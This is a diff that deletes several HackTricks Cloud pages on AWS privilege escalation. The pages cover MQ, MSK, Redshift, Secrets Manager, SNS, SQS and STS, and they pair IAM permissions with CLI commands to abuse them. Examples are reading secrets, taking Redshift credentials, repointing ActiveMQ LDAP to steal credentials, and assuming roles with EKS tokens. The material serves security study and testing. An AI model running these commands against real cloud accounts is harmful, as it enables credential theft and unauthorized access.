-Changes the Channel's first IngestEndpoint's username and password. (This API is deprecated for RotateIngestEndpointCredentials)
-
-{% code overflow="wrap" %}
-```bash
-aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63
-```
-{% endcode %}
-
-## References
-
-* [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
deleted file mode 100644
index 3532b180a..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
+++ /dev/null
@@ -1,79 +0,0 @@
-# AWS - MQ Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## MQ
-
-For more information about MQ check:
-
-{% content-ref url="../aws-services/aws-mq-enum.md" %}
-[aws-mq-enum.md](../aws-services/aws-mq-enum.md)
-{% endcontent-ref %}
-
-### `mq:ListBrokers`, `mq:CreateUser`
-
-With those permissions you can **create a new user in an ActimeMQ broker** (this doesn't work in RabbitMQ):
-
-{% code overflow="wrap" %}
-```bash
-aws mq list-brokers
-aws mq create-user --broker-id --console-access --password --username
-```
-{% endcode %}
-
-**Potential Impact:** Access sensitive info navigating through ActiveMQ
-
-### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser`
-
-With those permissions you can **create a new user in an ActimeMQ broker** (this doesn't work in RabbitMQ):
-
-{% code overflow="wrap" %}
-```bash
-aws mq list-brokers
-aws mq list-users --broker-id
-aws mq update-user --broker-id --console-access --password --username
-```
-{% endcode %}
-
-**Potential Impact:** Access sensitive info navigating through ActiveMQ
-
-### `mq:ListBrokers`, `mq:UpdateBroker`
-
-If a broker is using **LDAP** for authorization with **ActiveMQ**. It's possible to **change** the **configuration** of the LDAP server used to **one controlled by the attacker**. This way the attacker will be able to **steal all the credentials being sent through LDAP**.
-
-```bash
-aws mq list-brokers
-aws mq update-broker --broker-id --ldap-server-metadata=...
-```
-
-If you could somehow find the original credentials used by ActiveMQ you could perform a MitM, steal the creds, used them in the original server, and send the response (maybe just reusing the crendetials stolen you could do this).
-
-**Potential Impact:** Steal ActiveMQ credentials
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
deleted file mode 100644
index c5a09cb29..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
+++ /dev/null
@@ -1,52 +0,0 @@
-# AWS - MSK Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## MSK
-
-For more information about MSK (Kafka) check:
-
-{% content-ref url="../aws-services/aws-msk-enum.md" %}
-[aws-msk-enum.md](../aws-services/aws-msk-enum.md)
-{% endcontent-ref %}
-
-### `msk:ListClusters`, `msk:UpdateSecurity`
-
-With these **privileges** and **access to the VPC where the kafka brokers are**, you could add the **None authentication** to access them.
-
-{% code overflow="wrap" %}
-```bash
-aws msk --client-authentication --cluster-arn --current-version
-```
-{% endcode %}
-
-You need access to the VPC because **you cannot enable None authentication with Kafka publicly** exposed. If it's publicly exposed, if **SASL/SCRAM** authentication is used, you could **read the secret** to access (you will need additional privileges to read the secret).\
-If **IAM role-based authentication** is used and **kafka is publicly exposed** you could still abuse these privileges to give you permissions to access it.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
deleted file mode 100644
index 89b2282f2..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
+++ /dev/null
@@ -1,44 +0,0 @@
-# AWS - Organizations Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## Organizations
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-organizations-enum.md" %}
-[aws-organizations-enum.md](../aws-services/aws-organizations-enum.md)
-{% endcontent-ref %}
-
-## From management Account to children accounts
-
-If you compromise the root/management account, chances are you can compromise all the children accounts.\
-To [**learn how check this page**](../#compromising-the-organization).
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
deleted file mode 100644
index e5098c244..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
+++ /dev/null
@@ -1,135 +0,0 @@
-# AWS - Redshift Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## Redshift
-
-For more information about RDS check:
-
-{% content-ref url="../aws-services/aws-redshift-enum.md" %}
-[aws-redshift-enum.md](../aws-services/aws-redshift-enum.md)
-{% endcontent-ref %}
-
-### `redshift:DescribeClusters`, `redshift:GetClusterCredentials`
-
-With these permissions you can get **info of all the clusters** (including name and cluster username) and **get credentials** to access it:
-
-```bash
-# Get creds
-aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
-# Connect, even if the password is a base64 string, that is the password
-psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:" -d template1 -p 5439
-```
-
-**Potential Impact:** Find sensitive info inside the databases.
-
-### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM`
-
-With these permissions you can get **info of all the clusters** and **get credentials** to access it.\
-Note that the postgres user will have the **permissions that the IAM identity** used to get the credentials has.
-
-```bash
-# Get creds
-aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
-# Connect, even if the password is a base64 string, that is the password
-psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439
-```
-
-**Potential Impact:** Find sensitive info inside the databases.
-
-### `redshift:DescribeClusters`, `redshift:ModifyCluster?`
-
-It's possible to **modify the master password** of the internal postgres (redshit) user from aws cli (I think those are the permissions you need but I haven't tested them yet):
-
-```
-aws redshift modify-cluster –cluster-identifier –master-user-password ‘master-password’;
-```
-
-**Potential Impact:** Find sensitive info inside the databases.
-
-## Accessing External Services
-
-{% hint style="warning" %}
-To access all the following resources, you will need to **specify the role to use**. A Redshift cluster **can have assigned a list of AWS roles** that you can use **if you know the ARN** or you can just set "**default**" to use the default one assigned.
-
-Moreover, as [**explained here**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift also allows to concat roles (as long as the first one can assume the second one) to get further access but just **separating** them with a **comma**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';`
-{% endhint %}
-
-### Lambdas
-
-As explained in [https://docs.aws.amazon.com/redshift/latest/dg/r\_CREATE\_EXTERNAL\_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), it's possible to **call a lambda function from redshift** with something like:
-
-```sql
-CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
-RETURNS INT
-STABLE
-LAMBDA 'lambda_function'
-IAM_ROLE default;
-```
-
-### S3
-
-As explained in [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html), it's possible to **read and write into S3 buckets**:
-
-```sql
-# Read
-copy table from 's3:///load/key_prefix'
-credentials 'aws_iam_role=arn:aws:iam:::role/'
-region ''
-options;
-
-# Write
-unload ('select * from venue')
-to 's3://mybucket/tickit/unload/venue_'
-iam_role default;
-```
-
-### Dynamo
-
-As explained in [https://docs.aws.amazon.com/redshift/latest/dg/t\_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html), it's possible to **get data from dynamodb**:
-
-```sql
-copy favoritemovies
-from 'dynamodb://ProductCatalog'
-iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';
-```
-
-{% hint style="warning" %}
-The Amazon DynamoDB table that provides the data must be created in the same AWS Region as your cluster unless you use the [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) option to specify the AWS Region in which the Amazon DynamoDB table is located.
-{% endhint %}
-
-### EMR
-
-Check [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html)
-
-## References
-
-* [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
deleted file mode 100644
index 8be266ddb..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
+++ /dev/null
@@ -1,75 +0,0 @@
-# AWS - Secrets Manager Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## Secrets Manager
-
-For more info about secrets manager check:
-
-{% content-ref url="../aws-services/aws-secrets-manager-enum.md" %}
-[aws-secrets-manager-enum.md](../aws-services/aws-secrets-manager-enum.md)
-{% endcontent-ref %}
-
-### `secretsmanager:GetSecretValue`
-
-An attacker with this permission can get the **saved value inside a secret** in AWS **Secretsmanager**.
-
-```bash
-aws secretsmanager get-secret-value --secret-id # Get value
-```
-
-**Potential Impact:** Access high sensitive data inside AWS secrets manager service.
-
-### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`)
-
-With the previous permissions it's possible to **give access to other principals/accounts (even external)** to access the **secret**. Note that in order to **read secrets encrypted** with a KMS key, the user also needs to have **access over the KMS key** (more info in the [KMS Enum page](../aws-services/aws-kms-enum.md)).
-
-```bash
-aws secretsmanager list-secrets
-aws secretsmanager get-resource-policy --secret-id
-aws secretsmanager put-resource-policy --secret-id --resource-policy file:///tmp/policy.json
-```
-
-policy.json:
-
-```json
-{
- "Version" : "2012-10-17",
- "Statement" : [ {
- "Effect" : "Allow",
- "Principal" : {
- "AWS" : "arn:aws:iam:::root"
- },
- "Action" : "secretsmanager:GetSecretValue",
- "Resource" : "*"
- } ]
-}
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
deleted file mode 100644
index bdbe2bea2..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
+++ /dev/null
@@ -1,71 +0,0 @@
-# AWS - SNS Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## SNS
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-sns-enum.md" %}
-[aws-sns-enum.md](../aws-services/aws-sns-enum.md)
-{% endcontent-ref %}
-
-### `sns:Publish`
-
-An attacker could send malicious or unwanted messages to the SNS topic, potentially causing data corruption, triggering unintended actions, or exhausting resources.
-
-```bash
-aws sns publish --topic-arn --message
-```
-
-**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion.
-
-### `sns:Subscribe`
-
-An attacker could subscribe or to an SNS topic, potentially gaining unauthorized access to messages or disrupting the normal functioning of applications relying on the topic.
-
-{% code overflow="wrap" %}
-```bash
-aws sns subscribe --topic-arn --protocol --endpoint
-```
-{% endcode %}
-
-**Potential Impact**: Unauthorized access to messages (sensitve info), service disruption for applications relying on the affected topic.
-
-### `sns:AddPermission`
-
-An attacker could grant unauthorized users or services access to an SNS topic, potentially getting further permissions.
-
-```css
-aws sns add-permission --topic-arn --label --aws-account-id --action-name
-```
-
-**Potential Impact**: Unauthorized access to the topic, message exposure, or topic manipulation by unauthorized users or services, disruption of normal functioning for applications relying on the topic.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
deleted file mode 100644
index 258084f11..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
+++ /dev/null
@@ -1,74 +0,0 @@
-# AWS - SQS Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## SQS
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-sqs-and-sns-enum.md" %}
-[aws-sqs-and-sns-enum.md](../aws-services/aws-sqs-and-sns-enum.md)
-{% endcontent-ref %}
-
-### `sqs:AddPermission`
-
-An attacker could use this permission to grant unauthorized users or services access to an SQS queue by creating new policies or modifying existing policies. This could result in unauthorized access to the messages in the queue or manipulation of the queue by unauthorized entities.
-
-{% code overflow="wrap" %}
-```bash
-cssCopy codeaws sqs add-permission --queue-url --actions --aws-account-ids --label
-```
-{% endcode %}
-
-**Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services.
-
-### `sqs:SendMessage` , `sqs:SendMessageBatch`
-
-An attacker could send malicious or unwanted messages to the SQS queue, potentially causing data corruption, triggering unintended actions, or exhausting resources.
-
-```bash
-aws sqs send-message --queue-url --message-body
-aws sqs send-message-batch --queue-url --entries
-```
-
-**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion.
-
-### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
-
-An attacker could receive, delete, or modify the visibility of messages in an SQS queue, causing message loss, data corruption, or service disruption for applications relying on those messages.
-
-```bash
-aws sqs receive-message --queue-url
-aws sqs delete-message --queue-url --receipt-handle
-aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout
-```
-
-**Potential Impact**: Steal sensitive information, Message loss, data corruption, and service disruption for applications relying on the affected messages.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md
deleted file mode 100644
index 1162ac6fe..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md
+++ /dev/null
@@ -1,153 +0,0 @@
-# AWS - STS Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## STS
-
-### `sts:AssumeRole`
-
-Every role is created with a **role trust policy**, this policy indicates **who can assume the created role**. If a role from the **same account** says that an account can assume it, it means that the account will be able to access the role (and potentially **privesc**).
-
-For example, the following role trust policy indicates that anyone can assume it, therefore **any user will be able to privesc** to the permissions associated with that role.
-
-```json
-{
- "Version": "2012-10-17",
- "Statement": [
- {
- "Effect": "Allow",
- "Principal": {
- "AWS": "*"
- },
- "Action": "sts:AssumeRole"
- }
- ]
-}
-```
-
-You can impersonate a role running:
-
-```bash
-aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname
-```
-
-**Potential Impact:** Privesc to the role.
-
-{% hint style="danger" %}
-Note that in this case the permission `sts:AssumeRole` needs to be **indicated in the role to abuse** and not in a policy belonging to the attacker.\
-With one exception, in order to **assume a role from a different account** the attacker account **also needs** to have the **`sts:AssumeRole`** over the role.
-{% endhint %}
-
-### **`sts:GetFederationToken`**
-
-With this permission it's possible to generate credentials to impersonate any user:
-
-```bash
-aws sts get-federation-token --name
-```
-
-This is how this permission can be given securely without giving access to impersonate other users:
-
-```json
-{
- "Version": "2012-10-17",
- "Statement": [
- {
- "Sid": "VisualEditor0",
- "Effect": "Allow",
- "Action": "sts:GetFederationToken",
- "Resource": "arn:aws:sts::947247140022:federated-user/${aws:username}"
- }
- ]
-}
-```
-
-### `sts:AssumeRoleWithSAML`
-
-A trust policy with this role grants **users authenticated via SAML access to impersonate the role.**
-
-An example of a trust policy with this permission is:
-
-```json
-{
- "Version": "2012-10-17",
- "Statement": [
- {
- "Sid": "OneLogin",
- "Effect": "Allow",
- "Principal": {
- "Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin"
- },
- "Action": "sts:AssumeRoleWithSAML",
- "Condition": {
- "StringEquals": {
- "SAML:aud": "https://signin.aws.amazon.com/saml"
- }
- }
- }
- ]
-}
-```
-
-To generate credentials to impersonate the role in general you could use something like:
-
-```bash
-aws sts assume-role-with-saml --role-arn --principal-arn
-```
-
-But **providers** might have their **own tools** to make this easier, like [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role):
-
-{% code overflow="wrap" %}
-```bash
-onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600
-```
-{% endcode %}
-
-**Potential Impact:** Privesc to the role.
-
-### `sts:AssumeRoleWithWebIdentity`
-
-This permission grants permission to obtain a set of temporary security credentials for **users who have been authenticated in a mobile, web application, EKS...** with a web identity provider. [Learn more here.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html)
-
-For example, if an **EKS service account** should be able to **impersonate an IAM role**, it will have a token in **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** and can **assume the role and get credentials** doing something like:
-
-{% code overflow="wrap" %}
-```bash
-aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
-# The role name can be found in the metadata of the configuration of the pod
-```
-{% endcode %}
-
-### Federation Abuse
-
-{% content-ref url="../aws-basic-information/aws-federation-abuse.md" %}
-[aws-federation-abuse.md](../aws-basic-information/aws-federation-abuse.md)
-{% endcontent-ref %}
-
